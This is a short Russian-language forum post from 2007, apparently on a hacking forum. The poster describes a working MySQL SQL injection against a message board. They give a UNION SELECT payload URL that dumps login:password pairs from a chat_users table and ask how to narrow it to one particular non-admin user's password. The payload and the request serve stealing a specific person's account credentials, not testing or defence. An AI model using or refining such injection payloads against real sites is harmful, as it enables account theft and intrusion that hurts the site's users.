
28.10.2007, 22:38
|
|
Познающий
Регистрация: 01.04.2007
Сообщений: 43
Провел на форуме: 297955
Репутация:
-5
|
|
SQL-inj,поиск по логину...
Есть MySQL-inj , в базе дофигища юзеров а мне нужен пасс конкретно одного (не админа), как можно составить запрос чтоб выдало пасс конкретного юзера?...допустим
Код:
http://test.com/board/rept.php?id=-1+union+select+concat(login,0x3a,password),0,0,0+from+chat_users/*
Выдаст нейм:пасс, а как сделать чтоб конкретного юзера?
p.s. limit не предлагать))(Выдает только по одному)
|
|
|